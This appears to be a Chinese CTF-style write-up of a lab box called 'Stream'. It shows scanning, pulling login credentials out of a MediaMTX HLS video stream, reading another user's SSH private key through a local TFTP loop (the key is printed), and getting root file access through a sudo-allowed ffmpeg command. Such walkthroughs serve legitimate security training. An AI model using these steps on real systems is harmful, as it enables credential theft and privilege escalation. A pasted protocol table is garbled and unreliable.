

192.168.71.17

扫描:

```
(base) PS C:\Users\luoyinhui> nmap -Pn -sC -sV -T4 192.168.71.17
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-13 22:18 +0800
Nmap scan report for 192.168.71.17
Host is up (0.0049s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.66 ((Unix))
|_ http-server-header: Apache/2.4.66 (Unix)
|_ http-methods:
|_ Potentially risky methods: TRACE
|_ http-title: It works! Apache httpd
1935/tcp  open  rtmp?
8888/tcp  open  http     Golang net/http server
|_ http-trane-info: Problem with XML parsing of /evox/about
|_ http-cors: GET OPTIONS
|_ http-server-header: mediamtx
...
```

- 80 是 Apache
- 看到mediamtx

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[mediamtx 流媒体安装与使用,mediamtx的录...](#)

2025年10月14日 · mediamtx 流媒体安装与使用,mediamtx的录屏,mediamtx的API
控制录屏,使用mediamtx的推流与拉流, OBS ffmpeg推流与拉流 赵锐庆

名称	方向	策略(策略)
HTTP/2 over TLS (Encryption Protocol)	源地址 IP 地址	5534
HTTP/2 Plain Text Multiplexing Protocol	源地址 IP 地址	1035
H2S (HTTP/2 Live Streaming)	创建连接	5555 (HTTP/2) 15
WebRTC	源地址 IP 地址	5559 (HTTP/2)
SPDY Secure Reliable Transport	源地址 IP 地址	5530
HTTP/2.1 (HTTP/2)	源地址 IP 地址	5539
TLS over UDP/TCP	源地址 IP 地址	-

- 扫下 web 的

```
C:\Users\luoyinhui>curl -i http://192.168.71.17/
...
<title>It works! Apache httpd</title>
...
C:\Users\luoyinhui>curl -i http://192.168.71.17:8888/
...
Server: mediamtx
...
```

- mediamtx出现俩次了

功能强大且极易上手的实时流媒体服务器

- 可以扫目录这个

```
for p in _dummy test live stream video cam camera admin backup; do
  echo "== $p =="
  curl -s -i http://192.168.99.249:8888/$p/index.m3u8 | head -n 20
  echo
done
```

- 有个live

```
== live ==
HTTP/1.1 200 OK
Content-Type: application/vnd.apple.mpegurl
#EXTM3U
#EXT-X-VERSION:9
#EXT-X-INDEPENDENT-SEGMENTS
#EXT-X-STREAM-INF:...
video1_stream.m3u8
```

如果 `live` 路径下有多个流 (比如 `video1_stream.m3u8`) , 可以尝试:

text

 复制  下载

http: //192.168.71.17: 8888/live/video1_stream.m3u8

```
curl -s http://192.168.71.17:8888/live/index.m3u8
curl -s http://192.168.71.17:8888/live/video1_stream.m3u8
```

- 所有文件都有相同的前缀 `6d1fecfca8c5_video1_`
- HLS 流

HLS (HTTP Live Streaming)是苹果公司基于HTTP提出来的一种自适应码率的流媒体传输协议

```
#录制
ffmpeg -y -loglevel error -i http://192.168.71.17:8888/live/index.m3u8 -t 20 -c copy live.mp4
#抽帧
ffmpeg -y -loglevel error -i live.mp4 -vf fps=1 frame-%03d.png
```

```
{alvinchan:ferdinando}
```

- ! 账密, 然后 `ssh alvinchan@192.168.71.17` 输密码

```
alvinchan@Stream:~$ whoami
alvinchan
alvinchan@Stream:~$ id
uid=1000(alvinchan) gid=1000(alvinchan) groups=1000(alvinchan)
alvinchan@Stream:~$ ls -la ~
total 212
drwx-----  2 alvinchan alvinchan    4096 Mar 13 23:16 .
drwxr-xr-x   4 root      root        4096 Feb 25 21:35 ..
-rw-r--r--   1 alvinchan alvinchan 202744 Mar 13 23:16 live.mp4
-rw-r--r--   1 root      alvinchan    44 Feb 25 21:18 user.txt
alvinchan@Stream:~$ cat ~/user.txt
flag{user-ea08aa574d3cf3e682932bc3b66cbe6f}
```

Linux 权限提升的**标准开局**: `sudo -l`: 查看当前用户 (alvinchan) 能否以 root 身份执行某些命令

- Sorry, user alvinchan may not run sudo on Stream.
- 看进程:

```
ps auxww
```

```
/usr/sbin/in.tftpd -l -l -s /home/treadin -a 127.0.0.1 -u treadin -p
```

TFTP 根目录是 `/home/treadin` , `-a 127.0.0.1` : 只监听本地地址, `-u treadin` : 以用户 `treadin` 的身份运行

怀疑要拿到treadin的shell

```
/usr/bin/ffmpeg -nostdin -re -ignore_loop 0 -i /opt/mediamtx/flag.gif ... rtsp://127.0.0.1:8554/li
```

- `/opt/mediamtx/flag.gif`
发现/home/.status: udp 69

udp 投递明信片一样

TFTP 盲取读取treadin的私钥

- 解释 (不能复制!!!)

```
for f in [文件列表]; do
    echo "== $f =="
    rm -f /tmp/tget # 删除临时文件
    tftp 127.0.0.1 69 -m binary -c get "$f" /tmp/tget 2>&1 # 通过TFTP获取文件
    [ -f /tmp/tget ] && { # 如果文件存在 (获取成功)
        ls -l /tmp/tget # 显示文件大小
        head -c 200 /tmp/tget | xxd # 显示前200字节的十六进制
    }
done
```

```
for f in .ssh/id_rsa .ssh/id_ed25519 .ssh/authorized_keys .bash_history .ash_history .profile .bas
    echo "== $f =="
    rm -f /tmp/tget
    tftp 127.0.0.1 69 -m binary -c get "$f" /tmp/tget 2>&1
    [ -f /tmp/tget ] && {
        ls -l /tmp/tget
        head -c 200 /tmp/tget | xxd
    }
done
```

```
C:\Windows\system32\cmd.exe X Windows PowerShell X + v

== .ssh/id_rsa ==
Error code 1: File not found
-rw-r--r-- 1 alvinchan alvinchan 0 Mar 13 23:19 /tmp/tget
== .ssh/id_ed25519 ==
-rw-r--r-- 1 alvinchan alvinchan 411 Mar 13 23:19 /tmp/tget
00000000: 2d2d 2d2d 2d42 4547 494e 204f 5045 4e53 -----BEGIN OPENS
00000010: 5348 2050 5249 5641 5445 204b 4559 2d2d SH PRIVATE KEY--
00000020: 2d2d 2d0a 6233 426c 626e 4e7a 6143 3172 ---.b3BlbnNzaC1r
00000030: 5a58 6b74 646a 4541 4141 4141 4247 3576 ZXktdjEAAAAABG5v
00000040: 626d 5541 4141 4145 626d 3975 5a51 4141 bmUAAAAEbm9uZQAa
00000050: 4141 4141 4141 4142 4141 4141 4d77 4141 AAAAAAABAAAAAMwAA
00000060: 4141 747a 6332 6774 5a57 0a51 794e 5455 AAtzc2gtZW.QyNTU
00000070: 784f 5141 4141 4342 5a71 792f 7357 7a61 xQAAACBZqy/sWza
00000080: 5958 5a59 716d 4f32 352b 6572 4d52 656c YXZYqm025+erMReL
00000090: 7a6f 6a5a 3431 5767 4d5a 3741 6245 2b74 zojZ4lWgMZ7AbE+t
000000a0: 414f 6741 4141 4a68 6c76 6766 585a 6234 AOgAAAJhlgvFXZb4
000000b0: 480a 3177 4141 4141 747a 6332 6774 5a57 H.1wAAAAtzc2gtZW
000000c0: 5179 4e54 5578 4f51 QyNTUxOQ
== .ssh/authorized_keys ==
-rw-r--r-- 1 alvinchan alvinchan 96 Mar 13 23:19 /tmp/tget
00000000: 7373 682d 6564 3235 3531 3920 4141 4141 ssh-ed25519 AAAA
00000010: 4333 4e7a 6143 316c 5a44 4931 4e54 4535 C3NzaC1lZDI1NTE5
00000020: 4141 4141 4946 6d72 4c2b 7862 4e70 6864 AAAAIFmrL+xbNphd
00000030: 6c69 7159 3762 6e35 3673 7846 3658 4f69 liqY7bn56sxF6XOi
00000040: 4e6e 6a56 6141 786e 7342 7354 3630 4136 NnjVaAxnsBsT60A6
00000050: 2074 7265 6164 696e 4053 7472 6561 6d0a treadin@Stream.
== .bash_history ==
Error code 1: File not found
-rw-r--r-- 1 alvinchan alvinchan 0 Mar 13 23:19 /tmp/tget
== .ash_history ==
```

- 读取到treadin的ed25519私钥
- 我window没sshpass, 虚拟机好像网卡问题不能连靶机 (所以ssh

```
C:\Windows\system32\cmd.exe x Windows PowerShell x + v
-rw-r--r-- 1 alvinchan alvinchan 411 Mar 13 23:22 /tmp/tget
alvinchan@Stream:~$ cat /tmp/tget
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAABG5vbmUAAAABm9uZQAAAAAAAAABAAAAMwAAAAAtzc2gtZW
QyNTUxOQAAACBZqy/sWzaYXZYqm025+erMRelzojZ41WgMZ7AbE+tA0gAAAJhlvgfXZb4H
1wAAAAAtzc2gtZWQyNTUxOQAAACBZqy/sWzaYXZYqm025+erMRelzojZ41WgMZ7AbE+tA0g
AAAEduqEM8PZQLNuBjufqNGxvK4QF/8IoFn8xGbDgm4zBTlmlrL+xbNphdliqY7bn56sxF
6X0iNnjVaXnsBsT60A6AAAADnRyZWFKaW5AU3RyZWFTAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
alvinchan@Stream:~$ cp /tmp/tget treadin_id_ed25519
alvinchan@Stream:~$ chmod 600 treadin_id_ed25519
alvinchan@Stream:~$ file treadin_id_ed25519
-bash: file: command not found
alvinchan@Stream:~$ cat treadin_id_ed25519 | head -3
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAABG5vbmUAAAABm9uZQAAAAAAAAABAAAAMwAAAAAtzc2gtZW
QyNTUxOQAAACBZqy/sWzaYXZYqm025+erMRelzojZ41WgMZ7AbE+tA0gAAAJhlvgfXZb4H
alvinchan@Stream:~$ ssh -i treadin_id_ed25519 treadin@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts.

treadin@Stream:~$
```

#TFTP获取私钥

```
tftp 127.0.0.1 69 -m binary -c get .ssh/id_ed25519 /tmp/tget
```

#复制到当前目录

```
cp /tmp/tget treadin_id_ed25519
```

```
chmod 600 treadin_id_ed25519
```

```
ssh -i treadin_id_ed25519 treadin@127.0.0.1
```

同样 `sudo -l` 发现单命令有root权限

User treadin may run the following commands on Stream:

(ALL) NOPASSWD: /usr/bin/ffmpeg

ffmpeg 是一个媒体处理工具，它最基本的功能就是**读取文件**。你可以把任意文件当作“输入源”来处理

利用 `ffmpeg` 的 `data` 输入/输出功能，把 root 文件复制出来：

```
sudo ffmpeg -loglevel error -y -f data -i /root/root.txt -map 0 -c copy -f data /tmp/rootcopy
cat /tmp/rootcopy
```

输出：

```
flag{root-6235d8e489b3320dc6636e0fa97984e9}
```

```

C:\Windows\system32\cmd.exe X Windows PowerShell X + v
-bash: file: command not found
alvinchan@Stream:~$ cat treadin_id_ed25519 | head -3
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAABAG5vbmUAAAABbm9uZQAAAAAAAAABAAAAMwAAAAAtzc2gtZW
QyNTUxOQAAACBzQy/sWzaYXZYqm025+erMRelz0jZ41WgMZ7AbE+tA0gAAAJhlvgfXZb4H
alvinchan@Stream:~$ ssh -i treadin_id_ed25519 treadin@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts.

      _
--  \ \  / /  _ \ | | _ \ / _ \ | | _ \ / _ \ | | _ \
   \ V V /  _ \| | | | | | | | | | | | | | | | | |
    \ \ / \ |___| | | | | | | | | | | | | | | | |

treadin@Stream:~$ sudo -l
Matching Defaults entries for treadin on Stream:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for treadin:
    Defaults!/usr/sbin/visudo env_keep+= "SUDO_EDITOR EDITOR VISUAL"

User treadin may run the following commands on Stream:
    (ALL) NOPASSWD: /usr/bin/ffmpeg
treadin@Stream:~$ sudo ffmpeg -loglevel error -y -f data -i /root/root.txt -map 0 -c copy -f da
treadin@Stream:~$ cat /tmp/rootcopy
flag{root-6235d8e489b3320dc6636e0fa97984e9}
treadin@Stream:~$ |

```